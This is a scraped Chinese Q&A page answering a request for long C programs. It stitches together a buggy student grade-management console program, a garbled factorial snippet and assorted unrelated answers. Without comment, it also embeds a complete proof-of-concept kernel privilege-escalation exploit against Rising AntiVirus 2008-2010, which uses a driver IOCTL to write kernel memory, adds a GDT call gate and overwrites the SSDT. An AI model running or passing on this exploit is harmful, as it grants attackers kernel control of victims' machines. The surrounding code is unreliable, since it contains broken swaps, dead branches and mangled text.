求万行C语言源代码
#include
#include
#include
#define MAXN 100 //一个班最多的人数
#define MAXM 10 //最多课程门数
char subject[MAXM][12]; //保存所有课程名称
char number[MAXN][10]; //保存全班学号
char name[MAXN][20]; //保存全班姓名
float score[MAXN][MAXM]; //保存全班所有课程成绩
float sum[MAXN]; //保存全班总成绩
int n,m; //n,m保存全班实际人数和课程数
void input();
void search();
void sort();
void save();
void load();
void print();
void main()
{
//欢迎首界面
char a,b;
printf("
");
printf("
");
printf("
");
printf("
");
printf(" \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3
");
printf(" \3 \3
");
printf(" \3 \3
");
printf(" \3 ¥欢迎进入电子科技大学成都学院学生管理系统¥ \3
");
printf(" \3 \3
");
printf(" \3 \2\2 welcome to uestc...\2\2 \3
");
printf(" \3 \3
");
printf(" \3 \3 \4 \5 \6 \6 \5 \4 \3 \3
");
printf(" \3 \3
");
printf(" \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3 \3
");
printf("
");
printf("
");
printf(" 请按回车键进入下一界面
");
printf(" ------------------------
");
do
{
scanf("%c",&a);
if(a!=10)
{
printf(" 您输入有误,请重新输入,谢谢!!!
");
scanf("%c",&b);
}
b=a;
}
while(b!=10);
system("cls");
//功能选择界面
int select;
while(1)
{
system("cls");
printf(" ***********欢迎进入电子科技大学成都学院学生管理系统***********
");
printf("
");
printf("
");
printf(" 1.学生成绩新建
");
printf(" 2.学生成绩查询
");
printf(" 3.学生成绩插入
");
printf(" 4.学生成绩修改
");
printf(" 5.学生成绩删除
");
printf(" 6.学生成绩排名
");
printf(" 7.学生成绩保存
");
printf(" 8.学生成绩读取
");
printf(" 9.学生成绩报表打印
");
printf(" 0.退出系统
");
printf("
");
printf("
");
printf("
请输入您的选择编号,回车键确定:
");
printf(" ------------------------------------------------------------------
");
scanf("%d",&select);
switch(select)
{
case 1:input();break;
case 2:search();break;
case 6:sort();break;
case 7:save();break;
case 8:load();break;
case 9:print();break;
case 0:printf(" 谢谢您的使用。
");
}
}
}
//输入成绩模块
void input()
{
system("cls");
int i,j;
printf(" ***********新建学生成绩信息***********
");
printf("
");
printf("
");
printf("
请输入全班人数:");
scanf("%d",&n);
printf("
请输入课程门数:");
scanf("%d",&m);
printf("
请输入%d门课程名称
",m);
for(j=0;j<m;j++)
{
printf("
第%d门课程名称:",j+1);
scanf("%s",subject[j]);
}
printf("
第%d个学生数据
",n);
for(i=0;i<n;i++)
{
printf("
请输入第%d个人的数据
",i+1);
printf("
学号:");
scanf("%s",number[i]);
printf("
姓名:");
scanf("%s",name[i]);
printf("
%d门课程的成绩:
",m);
sum[i]=0;
//边输入边统计总成绩
for(j=0;j<m;j++)
{
printf(" %s成绩:",subject[j]);
scanf(" %f成绩",&score[i][j]);
sum[i]=sum[i]+score[i][j];
}
}
}
//查询成绩模块
void search()
{
system("cls");
int j;
int search1();
int search2();
int select,index;
printf("
***********查询学生成绩信息***********
");
while(1)
{
printf("
1.按学号查询
");
printf(" 2.按姓名查询
");
printf(" 0.返回
");
printf("
请输入您的选择编号:");
printf("
---------------------------------------
");
scanf("%d",&select);
switch(select)
{
case 1:index=search1(); break;
case 2:index=search2();break;
case 0:return;
}
if(index!=-1)
{
printf("
学号 :%s
",number[index]);
printf("
姓名 :%s
",name[index]);
for(j=0;j<m;j++)
{
printf("
%s成绩 :",subject[j]);
printf("%.2f
",score[index][j]);
}
printf("
总成绩 :%.2f
",sum[index]);
printf("
平均成绩:%.2f
",sum[index]/m);
printf("
您还可以继续查询其他学生成绩信息:
");
}
else printf("
没有这个同学。
");
}
}
//按学号查询模块
int search1()
{
system("cls");
int i;
char s_number[10];
printf(" 请输入要查询的学号:
");
scanf("%s",s_number);
printf(" 该同学的信息如下:
");
for(i=0;i<n;i++)
if(strcmp(number[i],s_number)==0)
break;
if(i<n)
return i;
else return -1;
}
//按姓名查询模块
int search2()
{
system("cls");
int i;
char s_name[10];
printf(" 请输入要查询的姓名:");
scanf("%s",s_name);
for(i=0;i<n;i++)
if(strcmp(name[i],s_name)==0)
break;
if(i<n)
return i;
else return -1;
}
//排名模块
void sort()
{
system("cls");
void sort1();
void sort2();
void sort3();
int select;
while(1)
{
printf(" ***********学生成绩排名信息***********
");
printf("
1.按学号排名
");
printf(" 2.按姓名排名
");
printf(" 3.按总成绩排名
");
printf(" 0.返回
");
printf("
请输入您的选择编号:
");
printf(" --------------------------------------
");
scanf("%d",&select);
switch(select)
{
case 1:sort1();break;
case 2:sort2();break;
case 3:sort();break;
case 0:return;
}
}
}
//按学号排名模块
void sort1()
{
system("cls");
int i,j,k;
char x_number[10];
char x_name[20];
float x;
for(i=0;i<n-1;i++)
{
k=i;
for(j=i+1;j<n;j++)
if(strcmp(number[i],number[k])<0)
k=j;
if (k!=i)
{
strcpy(x_number,number[i]);
strcpy(number[i],number[k]);
strcpy(number[k],x_number);
strcpy(x_name,name[i]);
strcpy(name[i],name[k]);
strcpy(name[k],x_name);
for(j=0;j<m;j++)
{
x=score[i][j];
score[i][j]=score[k][j];
score[k][j]=x;
}
x=sum[i];sum[i]=sum[k];sum[k]=x;
}
}
printf("排序完毕.
");
}
//按姓名排名模块
void sort2()
{
system("cls");
int i,j,k;
char x_number[10];
char x_name[20];
float x;
for(i=0;i<n-1;i++)
{
k=i;
for(j=i+1;j<n;j++)
if(strcmp(name[j],name[k])<0)
k=j;
if(k!=i)
{
strcpy(x_number,number[i]);
strcpy(number[i],number[k]);
strcpy(number[k],x_number);
strcpy(name[i],name[k]);
strcpy(name[k],x_name);
for(j=0;j<m;j++)
{
x=score[i][j];
score[i][j]=score[k][j];
score[k][j]=x;
}
x=sum[i];sum[i]=sum[k];sum[k]=x;
}
}
printf("排序完毕.
");
}
//按总成绩排名模块
void sort3()
{
system("cls");
int i,j,k;
char x_number[10];
char x_name[20];
float x;
for(i=0;i<n-1;i++)
{
k=i;
for(j=i+1;j<n;j++)
if(sum[j]<sum[k])
k=j;
if(k!=i)
{
strcpy(x_number,number[i]);
strcpy(number[i],number[k]);
strcpy(number[k],x_number);
strcpy(x_name,name[i]);
strcpy(name[i],name[k]);
strcpy(name[k],x_name);
for(j=0;j<m;j++)
{
x=score[i][j];
score[i][j]=score[k][j];
score[k][j]=x;
}
x=sum[i];sum[i]=sum[k];sum[k]=x;
}
}
printf("排序完毕.
");
}
//保存成绩模块
void save()
{
system("cls");
FILE *fp;
char filename[20];
int i,j;
printf(" 请输入文件名: ");
scanf("%s",filename);
if((fp=fopen(filename, "w"))==NULL)
{
printf(" 打开文件失败.
");
return;
}
fprintf(fp, "%d %d",n,m);
for(j=0;j<m;j++)
fprintf(fp, "%s",subject[j]);
for(i=0;i<n;i++)
{
fprintf(fp, "%s %s",number[i],name[i]);
for(j=0;j<m;j++)
fprintf(fp, "%5.1f",score[i][j]);
}
fclose(fp);
printf(" 保存完毕.
");
}
// 提取成绩模块
void load( )
{
system("cls");
FILE * fp;
char filename[20];
int i,j;
printf (" 请输入文件名:");
scanf("%s",filename);
if ((fp=fopen(filename,"r"))==NULL)
{
printf(" 文件不存在.
");
return;
}
fscanf(fp,"%d%d",&n,&m);
for(j=0;j<m;j++)
fscanf(fp,"%s",subject[j]);
for(i=0;i<n;i++)
{
fscanf(fp,"%s%s",number[i],name[i]);
sum[i]=0;
for(j=0;j<m;j++)
{
fscanf(fp,"%f",&score[i][j]);
sum[i]=sum[i]+score[i][j];
}
}
fclose(fp);
printf(" 提取完毕.
");
}
//打印成绩报表模块
void print()
{
system("cls");
void print1();
void print2();
int select;
printf(" ***********打印学生成绩信息***********
");
printf("
");
printf("
");
printf(" 1.屏幕显示报表
");
printf(" 2.打印机打印报表
");
printf(" 0.返回
");
printf("
请输入您的选择编号:");
printf("
--------------------------------------
");
scanf("%d",&select);
switch(select)
{
case 1:print1();break;
case 2:print2();break;
case 0:return;
}
}
// 屏幕显示报表模块
void print1()
{
system("cls");
int i,j;
printf(" 成绩总表
");
printf(" 学号姓名:");
for (j=0;j<m;j++)
printf("%10s",subject[j]);
printf(" 总成绩平均成绩
");
for (i=0;i<n;i++)
{
printf("%8s %8s",number[i],name[i]);
for (j=0;j<m;j++)
printf("%6.1f",score[i][j]);
printf("%6.1f %6.2f
",sum[i],sum[i]/m);
}
printf(" 显示完毕.
");
}
// 打印机打印报表模块
void print2( )
{
system("cls");
FILE * fp;
int i,j;
printf(" 请准备好打印机,按任意键继续…
");
scanf("% * c");
if ((fp=fopen("prn","w"))==NULL)
{
printf(" 打印机没有准备好.
");
return;
}
fprintf(fp," 成绩总表
");
fprintf(fp," 学号姓名
");
for (j=0;j<m;j++ )
fprintf(fp,"%10s",subject[j]);
fprintf(fp," 总成绩平均成绩
");
for(i=0;i<n;i++)
{
fprintf(fp,"%6.1f",score[i][j]);
fprintf(fp,"%8s %8s",number[i],name[i]);
for (j=0;j<m;j++)
fprintf(fp,"%6.1f %6.2f
",sum[i],sum[i]/m);
}
fclose(fp);
printf(" 打印完毕.
");
}
#includefloat GetFactorialNum(int n)//计算阶乘的函数{if ((0 == n) || (1 == n))//默认0和1的阶乘都是1{return 1;}int i;int factnum = 1;for (i = 2; i m) || (10 n) || (10 < n))//如果n不符合0<=n<=10则输出Error{printf("Error
");continue;} if (m < n)//如果m比n还小,输出Error{printf("Error
");continue;} if ((0 == n) && (0 == m))//如果m和m都是0,则结束函数{break;} factm = GetFactorialNum(m);//获得m的阶乘 factn = GetFactorialNum(n);//获得n的阶乘 factmn = GetFactorialNum((m - n));//获得m-n的阶乘 printf("%f
", (factm/factn/factmn));//打印m!/n!/(m-n)!的结果}return;//函数结束,返回}
#include "stdafx.h"
#include "windows.h"
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
&ColorBuffer ,
sizeof(ULONG),
&btr ,
0
);
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
Address ,
sizeof(ULONG),
&btr ,
0
);
return ;
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{
push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]
push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax
call WriteKVM
mov eax,Icount
add eax , 0x4
cmp eax,0x10
jnz LoopWrite
}
return ;
}
void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ;
}
#pragma pack(1)
typedef struct _IDTR
{
SHORT IDTLimit;
UINT IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ;
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;
Img = IMAGE_FIRST_SECTION(NT);
if (Rva < Img->PointerToRawData)
return Rva;
for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img[i].SizeOfRawData)
Limit = Img[i].SizeOfRawData;
else
Limit = Img[i].Misc.VirtualSize;
if (Rva >= Img[i].VirtualAddress &&
Rva < (Img[i].VirtualAddress + Limit))
{
if (Img[i].PointerToRawData != 0)
{
Offset -= Img[i].VirtualAddress;
Offset += Img[i].PointerToRawData;
}
return Offset;
}
}
return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT)
{
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
*ImageBase = poh->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}
return 0;
}
DWORD CR0Reg ;
ULONG realssdt ;
void InKerneProc()
{
__asm
{
cli
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i];
}
__asm
{
mov eax, CR0Reg
mov cr0, eax
sti
}
}
int main(int argc, char* argv[])
{
printf("Rising AntiVirus 2008 ~ 2010 \n"
"Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");
g_RsGdiHandle = CreateFile("\\\\.\\RSNTGDI" ,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ;
}
SYSTEM_MODULE_INFORMATION ModuleInfo ;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");
ULONG infosize = sizeof(ModuleInfo);
__asm
{
push 0
push infosize
lea eax , ModuleInfo
push eax
push 11
call pNtQuerySystemInformation
}
HMODULE KernelHandle ;
LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);
// Load the kernel image specified
KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ;
}
ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");
if (KeSSDT == 0 )
{
return 0 ;
}
ULONG ImageBase = 0 ;
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ;
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ;
ULONG i ;
for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;
}
realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;
SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
AddCallGate();
IntoR0(InKerneProc);
return 0;
}
百度一下啊
c语言编程的代码没有错,为什么运行就错了
如果代码本身没有错误,那么可能就是软件的配置没有弄好,比如各种文件路径等!
哪种编程软件最简单最好学?有没有比按键精灵更简单的编程软件
没有同学讨论,学习的难度是很大的。\/\/ 新手学习TC还是按键好!TC使用C语言系列的语法。TC是很简单的。C语言是锻炼编程功力的语言。本来C语言已经很简单了。学过C语言再回头看TC,你会觉得,TC比C语言还简单。怎么解释呢?TC语言,每句代码的后面,不用加分号;C语言中,每一句代码的结束,不会少...
半路出家,怎么才能学好编程,比如linux和C语言?
学C++时,包括学C++模板、容器等),如果可能,最好把汇编语言也学一下。至于书的话,C语言的,高校一般用谭浩强的《C语言程序设计》、高校一般用严蔚敏的《数据结构》、算法推荐《零基础学算法》。这一步学完,最好能有5、7万行自己写的代码,有10多20多个小型或中型的项目。3、其次,知识体系的...
c语言编译生成的.obj文件解释下
c语言编译生成的.obj文件是一种文本文件,程序编译时生成的中间代码文件目标文件,一般是程序编译后的二进制文件,再通过链接器和资源文件链接就成可执行文件了。OBJ只给出了程序的相对地址,而可执行文件是绝对地址。obj文件基本结构:OBJ文件不需要任何种文件头(File Header),尽管经常使用几行文件信息的...
新手是先学C语言好,还是先学Python好呢?
第二个缺点就是代码不能加密。如果要发布你的Python程序,实际上就是发布源代码,这一点跟C语言不同,C语言不用发布源代码,只需要把编译后的机器码(也就是你在Windows上常见的xxx.exe文件)发布出去。要从机器码反推出C代码是不可能的,所以,凡是编译型的语言,都没有这个问题,而解释型的语言,则...
新手如何入门C语言?
如果是想通过计算机等级考试 就买一本全国计算机等级考试二级试题认真做就可以了 当然也要加强上机实践。怎样才能学好C语言 第一:C语言语法结构很简洁精妙,写出的程序也很高效,很便于描述算法,大多数的程序员愿意使用C语言去描述算法本身,所以,如果你想在程序设计方面有所建树,就必须去学它。第二...
给我一些关于最初级的C语言的书。 本人只能算是比菜鸟好点、 我的...
多练多思考
如何学好C语言?
循环结构可以减少源程序重复书写的工作量,用来描述重复执行某段算法的问题,这是程序设计中最能发挥计算机特长的程序结构,C语言中提供四种循环,即goto循环、while循环、do –while循环和for循环。四种循环可以用来处理同一问题,一般情况下它们可以互相代替换,但一般不提倡用goto循环,因为强制改变程序的顺序经常会给程序的...
怎样学好c语言
Unix与C是共生的,Unix的思考方式和习惯更加符合C语言的思考方式和习惯。在Unix下,你可以找到无数优秀的源代码供你尽情阅读,你可以方便地查看某个库函数的联机手册,还可以看到最优秀的代码风格归结起来就是一句话:初学C语言,建议使用Windows系统和集成开发环境,在准备向“高手”方向努力时,请先转向Unix平台。三、万事...
C语言的20万行的软件项目算什么级别?
从代码量上看,属于中型偏大型软件项目了。一般来说,一个源文件在500-1000行,头文件不确定,但一般不计入代码量。这样这个项目200-400个源文件。这个规模已经不算小了。
狐从复方: #include <stdio.h> #include <stdlib.h> using namespace std; int main() { const int n=6; // 原来一共n个数 int a[n+1]={1,5,8,10,75,100}; int i,j,x; scanf("%d",&x); // 插入的数为x for(i=0;i<n;i++) { if(a[i]>=x) { break; } }// 从i开始到n,往后移动一个...
宿豫县18670851228: c语言程序 要求源代码有200行以上 - ?
狐从复方: /* 计算24是流行的扑克游戏.其方法是任意取出4张牌,A J Q K 王牌 算 1,其它牌按点数计算,花色不计.
宿豫县18670851228: 急需一个关于一个小系统的c语言源程序,200行以上,谢谢大家帮帮忙吧... - ?
狐从复方: 这个行不行,不行的话就给你个图书管理系统#include"stdio.h"#include"stdlib.h"#include"string.h" struct stu{ char name[20]; double score; struct stu * next; }; //全局变量 long I; struct stu *head=NULL;//插入一个节点 struct stu *Insert(...
宿豫县18670851228: 求C语言代码??
狐从复方: #include<stdio.h> int max(int x,int y); void main() { int a,b,c,z,sum; b=123; scanf("%d,%d",&a,&c); z=max(a,c); sum=b+z; printf("sum is %d\n",sum); } int max(int x,int y) { int p; if(x>y)p=x; else p=y; return(p); }
宿豫县18670851228: 求一个c语言源码,很简单的. - ?
狐从复方: #include int main() { printf("Hello world!"); return 0; }
宿豫县18670851228: 求一个c语言小程序源代码 可以运行不要太长的,十行二十行都行. 要带解释说明. - ?
狐从复方: #include <stdio.h>//包含标准输入输出流头文件 void print();//申明一个函数 int main(int argc, char* argv[]) { int number = 1000;//申明一个整型变量并赋值为1000 printf("这是一个控制台程序number 的值为 %d\n", number); //打印一句话...
宿豫县18670851228: 跪求万年历的C语言源程序~ - ?
狐从复方: #include <stdio.h>void main() {printf("该程序求某天星期几和打印本年年历,不合法输入便自动退出:\n");printf("请输入年 月 日:");while(1){loop:// printf("请输入年 月 日:");int o,p,q;int w,y,m,d,c,yy,xingqi;scanf("%...
宿豫县18670851228: 求C语言代码如下: - ?
狐从复方: #include <stdio.h>#include <conio.h>#include <stdlib.h>void fun(int age[],int d[]);int main(){ int age[100],i; int d[10]; randomize(); for(i=0;i<100;i++) { age[i] = rand()%100+1; printf("%4d",age[i]); } for(i=0;i<10;i++) { d[i]=0; } printf("\n"); fun(age,d); ...
宿豫县18670851228: 求C程序语言代码,急求?
狐从复方: #include <stdio.h> void Sort(int *Array,int iLen){ int i,j; int min; if (!Array) return; for (i=0;i!=iLen-1;++i) { min=i; for (j=i+1;j!=iLen;++j) { if (Array[j]<Array[i]) min=j; } if (min!=i) Array[min]^=Array[i]^=Array[min]^=Array[i]; }} int main(){ int n=0,*p=NULL,i; puts...
宿豫县18670851228: 求用C语言编写打印万年历的程序代码 - ?
狐从复方: #include int monthDay(int,int); int IsLeapYear(int); main() { int days,weekDay,year,month=1,d,i; printf("please input the year:\n"); scanf("%d",&year); days=year-1+(year-1)/400+(year-1)/4-(year-1)/100; while(month